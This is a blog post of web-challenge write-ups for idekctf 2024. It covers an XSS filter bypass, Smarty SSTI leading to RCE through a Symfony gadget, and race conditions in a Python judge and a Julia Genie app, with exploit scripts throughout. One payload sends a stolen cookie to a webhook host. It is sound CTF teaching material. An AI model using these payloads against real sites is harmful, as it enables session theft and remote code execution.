Home idekctf 2024 Web Writeups
Post
Cancel

idekctf 2024 Web Writeups

We played idekctf as Ireland Without the RE and finished in 29th position. I only looked at the web challenges but they were really high quality and fun to play. In the end we solved 4/7 of these challenges.

web/Hello (161 Solves)

This was the first challenge I looked at. The flag is located in the bot’s cookie and our task is to steal it. We are given XSS with a basic filter.

Bypassing the XSS filter

The content is sanitized using an Enhanced_Trim function as defined below:

1
2
3
4
function  Enhanced_Trim($inp) {
$trimmed = array("\r", "\n", "\t", "/", " ");
return  str_replace($trimmed, "", $inp);
}

This prevents us from using any closing tags. The next idea would be to use some sort of event handler but the lack of whitespace prevents the creation of attributes. Through manual fuzzing I discovered that it is possible to substitute in %0c form feeds. An example XSS payload would be <svg%0conload='alert()>'which provides us with an alert.

A 23 character substring is taken (which originally made me feel as though we needed a very short XSS payload) but this value is in fact never used.

Bypassing HTTPOnly flag

There exists a HTTPOnly flag on the cookie containing our flag. This is problematic as we cannot access it via document.cookie and must instead identify another way to solve the challenge. Notably, we are provided with another PHP file containing a call to phpinfo() which displays information relating to PHP along with the current user’s setting. This page will contain any cookies (even those with HTTPOnly set).

Bypassing nginx

So the idea thus far is to XSS the bot and have it fetch the phpinfo page containing the flag. However, there is the following nginx directive to consider:

1
2
3
4
location = /info.php {
allow 127.0.0.1;
deny all;
}

This only allows requests from localhost. I had originally considered that the application must be running on a localhost port and would allow us to access it from the bot’s context (considering the bot source suggest a challenge URL of localhost:1337) but this is not the case. Eventually I realized we must find a bypass for this directive and a common trick is to append an allowed path to the disallowed one. Visiting/info.php/index.php will display the page.

Putting it all together

So we will make the bot fetch /info.php/index.php and then read the cookie. Unfortunately, the content of this page is massive and not easy to send over to a webhook. I decided to use some splits to make my payload a bit shorter.

1
fetch("/info.php/index.php").then(r=>r.text().then(x=>window.location.href=`https://webhook.site/<snip>/${btoa(x.split("_COOKIE[\'FLAG\']")[1].split("$_SERVER")[0])}`))

In the end I missed out on first blood by a few minutes :(

web/untitled-smarty-challenge (13 Solves)

The next challenge we solved was this PHP challenge running the Smarty template system. It’s a pretty small challenge (again) which I enjoy seeing. The source code is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require  'vendor/autoload.php';
use Smarty\Smarty;
$smarty = new  Smarty();

if (isset($_GET['page']) && gettype($_GET['page']) === 'string') {
	$file_path = "file://"  .  getcwd() .  "/pages/"  .  $_GET['page'];
	$smarty->display($file_path);
} else {
	header('Location: /?page=home');
};
?>

We can see that it will accept any file we pass and consider it a Smarty template. This strongly hints towards some sort of SSTI. It is also worth noting that an open_basedir directive exists which only allows PHP to read within the /app directory. This means that, unless we find a bypass, we can’t do any fancy PHP session trickery to get our template file onto the server.

Finding SSTI

Pretty quickly after running the docker I noticed a /app/templates_c directory spawned. Analyzing its contents it would appear that each time a template is rendered by Smarty it will be compiled into a PHP file and written to this directory. I noticed that it contains value from the URL which were directly written to the PHP file (but escaped).

The files are only created if a template is rendered so we need a proper path containing our SSTI payload. The first thing I tried was /?page=../{system('ls')}/../pages/home which rendered the home template successfully and wrote a file to /app/templates_c which contained our SSTI payload. Testing locally, I copied the name of this file that was created and I loaded it in /?page=../templates_c/FILE_NAME_HERE and I could see that my template was interpreted! Unfortunately, this application is running Smarty 5 and the system call is no longer considered valid.

Finding a valid SSTI payload

This proved quite tricky since it appears Smarty developers decided to deprecate any tags which previously would have allowed RCE. They removed include_php along with system and php tags. Eventually gg0h noticed that you can call static methods like so:

1
{assign var=foo value=\Path\To\Folder::StaticMethod()}

We also noticed that the Dockerfile was suspiciously installing symfony but not actually using it. It became clear that we would find a useful gadget inside the symfony install that we could leverage for RCE.

Getting RCE

The method we found was \Symfony\Component\Process\Process::fromShellCommandline which allows you to run shell commands. enter image description here The final issue was retrieving the payload. We needed a way to callback to our URL but slashes and dots were not working when passed in through the URL. An earlier observation when reading documentation revealed the following idea:

1
{include file="eval:base64:<baseblob>"}

So we could simply base64 encode our RCE payload and the evaluate it like above.

web/crator (63 Solves)

This web challenge allowed us to run our own Python code against a number of test cases to solve some programming problems.

Initial observations

When running print(__builtins__) we could see that the open() function is left exposed. This would allow us to interact with the filesystem. Additionally, we could see that the flag was saved as the expected output of the challenge.

Expected output is saved to a file in /tmp/{SUBMISSION_ID}.expected which is deleted after the checks are made. Test cases are skipped if previous test cases fail and so we need the first one to pass.

Finding the exploit

To get the test case with the flag to run, we need to ensure that the first test case passes. We can see that the expected output is “Welcome to Crator” which can be read from input() on the HelloInput challenge. Once this initial test case returns this expected value it will run the test case containing the flag.

To ensure we always pass this test case I wrote the following initial line:

1
2
3
x = input()
if x == "Welcome to Crator":
	print(x)

We can then put all of our logic for the flag test case into an else clause. Once this initial test passes, the flag should be written to /tmp/{SUBMISSION_ID}.expected but we cannot read this because of the following line:

1
2
if  file.endswith(submission_id  +  ".expected"):
	raise  RuntimeError("Nein")

I found it interesting that it doesn’t just block us reading all files appended with .expected and instead checks the current submission_id also. This means that other submission threads could read this file and thus we can solve this using a race condition.

The rest of the solution is implementation details which I won’t delve into too much but the general idea is to instantiate a number of submissions which will all try to read the expected value of another process and print it. Since the output of our first test case isn’t hidden, we can use this to leak it. Below is my solution script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import concurrent.futures

num = 34
data = {
    "code": f"""s = ""
x = input()
while True:
    if x == "Welcome to Crator":
        print(x)
        break
    x = open('/tmp/{num}.expected').read()
    if len(x) > 0:
        s = x
        print(s.strip())
        break"""
}

data2 = {"code": f"""# import math # jk, you can't import

for _ in range(100):
    for i in range({num}, {num+10}):
        try:
            x = open(f"/tmp/{i}.expected").read()
            if len(x) > 0:
                print(x)
        except:
            pass"""}

cookies = {
    "session": "eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6IngifQ.ZsH2aQ.g3JTvNLbop3sPpV4TyuLZ2vAmdQ"
}

def send_request(data):
    r = requests.post("https://crator-cf849282e9c800ca.instancer.idek.team/submit/helloinput", data=data, cookies=cookies)
    return r

with concurrent.futures.ThreadPoolExecutor(max_workers=11) as executor:
    futures = [executor.submit(send_request, data) for _ in range(10)]
    futures.append(executor.submit(send_request, data2))
    
    for future in concurrent.futures.as_completed(futures):
        response = future.result()
        print(response.text)

web/includeme (5 Solves)

This challenge was really fun. We are given a Julia project using the Genie web framework. Then we are given full control over the value passed into an include() function. This reminds me of the old PHP LFI2RCE challenges and all of the creative ways people managed to write data to the filesystem.

Finding arbitrary file upload

In the Genie project there exists a test file which provides an example of a Genie server with file upload functionality: https://raw.githubusercontent.com/GenieFramework/Genie.jl/master/test/fileuploads/test.jl

On our docker container this file is located at /home/ctf/.julia/packages/Genie/yQwwj/test/fileuploads/test.jl and by including it we add 2 additional routes for GET and POST. The former overwrites our LFI include endpoint and the latter allows us to upload a file to the filesystem.

The obvious problem is that although we can now upload a file wherever we want; we can no longer include it since the route has been overwritten.

More race conditions

Eventually through trial and error I decided to test a minimalistic race condition scenario. By sending 2 concurrent requests; one to load the test file and another to load app.jl containing our original route. There is a 50% chance that the app.jl will arrive and be processed just after the test.jl and if this is the case then it will once again overwrite the GET method. However, now we still have the POST endpoint allowing our file upload.

This is because Genie doesn’t remove the old routes; you can continue to declare new ones. The newest route which matches a request will overwrite all the others. I’m not entirely sure how the race condition works but my guess is that at the time of arrival Genie decides which route will handle it and then it gets queued until it is able to process it (since async is set to False). If anyone with more in-depth knowledge of this has a better explanation then please ping me on Discord. :)

My solution was to run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

urls = [
    "https://includeme-7b130afe2e790952.instancer.idek.team/?page=../home/ctf/.julia/packages/Genie/yQwwj/test/fileuploads/test.jl",
    "https://includeme-7b130afe2e790952.instancer.idek.team/?page=app.jl"
]

def fetch_url(url):
    response = requests.get(url)
    return url, response.status_code, response.text

with ThreadPoolExecutor(max_workers=2) as executor:
    futures = [executor.submit(fetch_url, url) for url in urls]
    
    for future in as_completed(futures):
        url, status_code, content = future.result()

If the application page still displays hello, world then our race condition has worked! In this instance, we may now send a POST request with our file to be uploaded. I used the following shell.jl file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
using Pkg
Pkg.activate(".")

using Genie, Genie.Router, Genie.Renderer.Html

route("/flag") do
  flag_content = try
    read("/app/flag.txt", String)
  catch e
    "Error: Could not read /app/flag.txt"
  end

  html("""
  <h1>Flag Content</h1>
  <pre>$(flag_content)</pre>
  """)
end

Genie.Server.up(; open_browser = false, async = false)

Lastly, we must now include it (/?page=shell.jl). Then we may visit /flag and it will display the flag.

This post is licensed under CC BY 4.0 by the author.